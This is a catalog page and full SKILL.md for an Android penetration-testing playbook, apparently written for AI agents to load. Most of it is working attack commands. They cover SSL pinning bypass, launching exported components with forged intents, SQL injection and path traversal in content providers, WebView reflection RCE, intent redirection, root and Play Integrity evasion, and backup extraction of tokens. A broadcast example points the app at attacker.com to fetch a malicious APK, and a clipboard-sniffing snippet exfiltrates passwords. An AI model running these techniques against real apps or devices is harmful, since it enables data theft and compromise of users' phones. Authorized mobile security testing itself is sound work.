android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook for SSL pinning bypass, component abuse, WebView exploitation, and root detection evasion.
What is android-pentesting-tricks?
Expert-level Android application security testing techniques covering SSL pinning bypass (Frida/Objection/LSPosed), exported component exploitation, WebView vulnerabilities, intent redirection, root detection bypass, and Play Integrity evasion. Use during authorized mobile security assessments to identify and exploit common Android app weaknesses.
- Bypass SSL pinning via Frida hooks, Objection, network security config, and Magisk modules targeting OkHttp, HttpsURLConnection, and custom SSL contexts
- Exploit exported activities, content providers, broadcast receivers, and services to access non-exported components and extract sensitive data
- Identify and exploit WebView vulnerabilities including JavaScript interface RCE, file access misconfigurations, and deep link to XSS chains
- Perform intent redirection attacks to start non-exported internal activities and bypass activity-level access controls
- Bypass root detection checks by hooking Build properties, file existence checks, and package manager queries
- Intercept and modify network traffic after pinning bypass to test backend API security
How to install android-pentesting-tricks
npx skills add https://github.com/yaklang/hack-skills --skill android-pentesting-tricks- Android device or emulator with USB debugging enabled
- Frida server installed on target device and Frida client on host
- APK analysis tools (aapt, apktool) for manifest inspection
- Rooted device or Magisk installation for advanced bypasses (LSPosed, modules)
- Objection framework installed for quick SSL pinning bypass
- adb (Android Debug Bridge) configured and accessible
How to use android-pentesting-tricks
- 1.Install Frida server on the target Android device and start the Frida daemon
- 2.Use aapt or apktool to extract and analyze AndroidManifest.xml for exported components
- 3.Identify SSL pinning implementation by examining network libraries (OkHttp, Retrofit, Volley) in the APK
- 4.Deploy appropriate Frida hooks or Objection commands to bypass SSL pinning based on detected library
- 5.Enumerate exported activities, content providers, and services using adb shell commands
- 6.Craft and send intents to exported components with malicious payloads to test for vulnerabilities
- 7.Test WebView implementations for JavaScript interface exposure and file access misconfigurations
- 8.Use intent redirection techniques to access non-exported internal activities
Use cases
- Penetration testing Android apps to verify SSL pinning implementation and identify certificate validation weaknesses
- Discovering and exploiting exported components to access restricted functionality without proper authorization
- Testing WebView security in hybrid Android apps that load remote or user-controlled content
- Validating root detection mechanisms and identifying bypass techniques used by malware
- Chaining multiple vulnerabilities (exported activity → deep link → WebView XSS → JavaScript bridge) for privilege escalation
- Mobile security penetration testers conducting authorized Android app assessments
- Security researchers analyzing Android malware and exploitation techniques
- Bug bounty hunters targeting Android applications
- Mobile app developers validating security controls during development
- Security teams performing internal mobile app security audits
android-pentesting-tricks FAQ
Frida provides fine-grained hook control and works on non-rooted devices via USB; Objection is a higher-level wrapper around Frida with pre-built commands for quick exploitation; Magisk modules (LSPosed) require root but apply system-wide and persist across app restarts. Choose Frida for flexibility, Objection for speed, and Magisk for persistence.
Use aapt dump xmltree or apktool to extract the AndroidManifest.xml directly—component names are not obfuscated in the manifest. Then use adb shell am start/am broadcast to interact with them, or use Frida to hook component lifecycle methods.
Yes. Frida works on non-rooted devices via USB debugging (adb). Objection also works without root. However, Magisk modules require root. For non-rooted devices, Frida + USB is the standard approach.
LSPosed requires Magisk (root), which modifies the system partition and may trigger Play Integrity checks or SafetyNet. Some apps refuse to run on rooted devices. Use Frida on non-rooted devices if the target checks for root.
Inject JavaScript via deep links or exported activities that accept URL parameters, or use Frida to hook WebView.loadUrl() and inject malicious URLs. Test for JavaScript interface exposure by enumerating methods on injected objects and attempting reflection-based RCE.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: android-pentesting-tricks description: >- Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
SKILL: Android Pentesting Tricks — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.
0. RELATED ROUTING
Before going deep, consider loading:
- mobile-ssl-pinning-bypass for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
- ios-pentesting-tricks when also testing the iOS version of the same app
- api-sec for backend API security testing once traffic is intercepted
Advanced Reference
Also load FRIDA_SCRIPTS.md when you need:
- Ready-to-use Frida script templates for common Android testing tasks
- Detailed hook points for OkHttp, Retrofit, Volley, WebView
- Root detection bypass script collection
1. SSL PINNING BYPASS
1.1 Frida Universal Bypass
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
| Hook Point | Library/Class | Coverage |
|---|---|---|
X509TrustManager.checkServerTrusted | Android SDK | All standard HTTPS |
OkHttpClient.Builder.sslSocketFactory | OkHttp 3.x/4.x | Square OkHttp |
CertificatePinner.check | OkHttp 3.x/4.x | OkHttp pinning |
HttpsURLConnection.setSSLSocketFactory | Android SDK | Legacy HTTPS |
SSLContext.init | Android SDK | Custom SSL contexts |
WebViewClient.onReceivedSslError | WebView | WebView SSL errors |
TrustManagerFactory.getTrustManagers | Android SDK | Factory-created TMs |
1.2 Objection (Quick Method)
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable
1.3 Network Security Config (Debug Builds)
If you can modify the APK or it's a debug build:
<!-- res/xml/network_security_config.xml -->
<network-security-config>
<debug-overrides>
<trust-anchors>
<certificates src="user" /> <!-- Trust user-installed CAs -->
</trust-anchors>
</debug-overrides>
</network-security-config>
1.4 Magisk Module Approach
| Module | Method | Scope |
|---|---|---|
| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |
| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |
| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |
| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |
2. COMPONENT EXPOSURE
2.1 Exported Activities
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"
# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
-d "target://callback?token=attacker_token"
# With extra data
adb shell am start -n com.target.app/.TransferActivity \
--es "amount" "99999" --es "recipient" "attacker"
2.2 Content Providers
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users
# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
--where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
| Provider Type | Attack Vector | Impact |
|---|---|---|
| Database-backed | SQL injection via query() projection/selection | Data leak, auth bypass |
| File-backed | Path traversal via URI | Read arbitrary files |
| Parcelable | Type confusion in custom Parcelable | Code execution |
2.3 Broadcast Receivers
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
--es "url" "http://attacker.com/malicious.apk"
# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data
2.4 Exported Services
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
--es "command" "exfiltrate"
# List running services
adb shell dumpsys activity services | grep com.target
3. WEBVIEW VULNERABILITIES
3.1 JavaScript Interface RCE (Pre-API 17)
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");
// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
// .getMethod('getRuntime').invoke(null).exec('id')
3.2 Modern WebView Attacks
| Vulnerability | Condition | Exploit |
|---|---|---|
setJavaScriptEnabled(true) + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |
setAllowFileAccessFromFileURLs(true) | file:// can read other file:// | Load file:///data/data/com.target/... |
setAllowUniversalAccessFromFileURLs(true) | file:// can access any origin | Exfiltrate via XHR to attacker |
loadUrl(user_controlled) | User input in loadUrl | javascript: scheme or file:// |
shouldOverrideUrlLoading bypass | Incomplete URL validation | Redirect to attacker-controlled page |
evaluateJavascript with tainted data | User data in JS execution | XSS in WebView context |
3.3 Deep Link to WebView Chain
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions
4. INTENT REDIRECTION
Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.
// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
--es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
| Pattern | Indicator | Risk |
|---|---|---|
getParcelableExtra → startActivity | Intent-in-Intent | Start non-exported activities |
getStringExtra("url") → startActivity(Intent.ACTION_VIEW) | URL forwarding | Open arbitrary URLs |
getStringExtra("class") → Class.forName → startActivity | Dynamic class loading | Start any activity by name |
5. ROOT DETECTION BYPASS
5.1 Common Root Detection Checks
| Check | What It Detects | Frida Bypass |
|---|---|---|
su binary exists | /system/xbin/su, /sbin/su | Hook File.exists() → return false |
| Build tags contain "test-keys" | Build.TAGS | Hook Build.TAGS → return "release-keys" |
| Magisk Manager installed | Package name check | Hook PackageManager.getPackageInfo |
| Superuser.apk present | Su management app | Hook File.exists() |
| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |
| SafetyNet/Play Integrity | Server-side attestation | Requires Magisk DenyList + module |
| Abnormal system properties | ro.debuggable=1, etc. | Hook SystemProperties.get |
5.2 Magisk DenyList (Previously MagiskHide)
# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props
6. PLAY INTEGRITY / SAFETYNET BYPASS
| Level | What It Checks | Bypass Difficulty |
|---|---|---|
| Basic Integrity | Not rooted, not emulator | Easy (Magisk + DenyList) |
| Device Integrity | Bootloader locked, verified boot | Hard (requires locked bootloader) |
| Strong Integrity | Hardware-backed attestation | Very hard (hardware TEE) |
Techniques:
- Magisk with Zygisk enabled + DenyList for target app
- Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint
- Shamiko module: hides root from specific apps
- Custom ROM with locked bootloader (Pixel-specific tricks)
7. TAPJACKING (OVERLAY ATTACKS)
<!-- Malicious overlay activity -->
<activity android:name=".OverlayActivity"
android:theme="@style/TransparentTheme"
android:excludeFromRecents="true">
</activity>
<!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->
| Android Version | Protection | Bypass |
|---|---|---|
| Pre-6.0 | None | Full overlay |
| 6.0–11 | filterTouchesWhenObscured (opt-in) | Apps not using it are vulnerable |
| 12+ | Untrusted touches blocked for overlay windows | Partial overlays, timing-based |
8. BACKUP EXTRACTION
# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)
# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar
# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data
9. ADDITIONAL TRICKS
9.1 Debuggable App Exploitation
# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml
9.2 Drozer (Component Testing Framework)
# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2
# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app
9.3 Clipboard Sniffing
// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
ClipData data = cm.getPrimaryClip();
// Exfiltrate copied passwords, tokens, etc.
});
10. ANDROID PENTESTING DECISION TREE
Testing Android application
│
├── Can intercept HTTPS traffic?
│ ├── No → SSL pinning in place
│ │ ├── Frida available? → universal SSL bypass script (§1.1)
│ │ ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│ │ ├── Debug build? → Network Security Config (§1.3)
│ │ └── None above? → manual decompile + patch + repackage
│ └── Yes → proceed to traffic analysis
│
├── Exported components found?
│ ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│ ├── Content Providers → SQLi, path traversal (§2.2)
│ ├── Broadcast Receivers → crafted intent injection (§2.3)
│ └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│ ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│ ├── File access enabled? → file:// scheme abuse (§3.2)
│ └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│ └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│ ├── Client-side checks only? → Frida hook bypass (§5.1)
│ ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│ └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│ ├── allowBackup=true? → ADB backup extraction (§8)
│ ├── Debuggable? → run-as for direct data access (§9.1)
│ └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
└── Overlay possible? → tapjacking (§7)
Related skills
More from yaklang/hack-skills and the wider catalog.

anti-debugging-techniques
Detect and bypass anti-debugging protections on Linux and Windows binaries.

api-auth-and-jwt-abuse
Test JWT tokens, API keys, and auth headers for trust boundary weaknesses, claim abuse, and rate-limit bypasses.

api-authorization-and-bola
Test API authorization, BOLA, BFLA, and mass assignment vulnerabilities across object and function access.

api-recon-and-docs
Discover API endpoints, schemas, versions, and hidden documentation surface before testing.

api-sec
Entry point router for API security testing—choose between recon, authorization, token abuse, and GraphQL workflows.

arbitrary-write-to-rce
Convert arbitrary write primitives into code execution by targeting GOT, hooks, _IO_FILE, exit_funcs, TLS_dtor_list, and other glibc structures.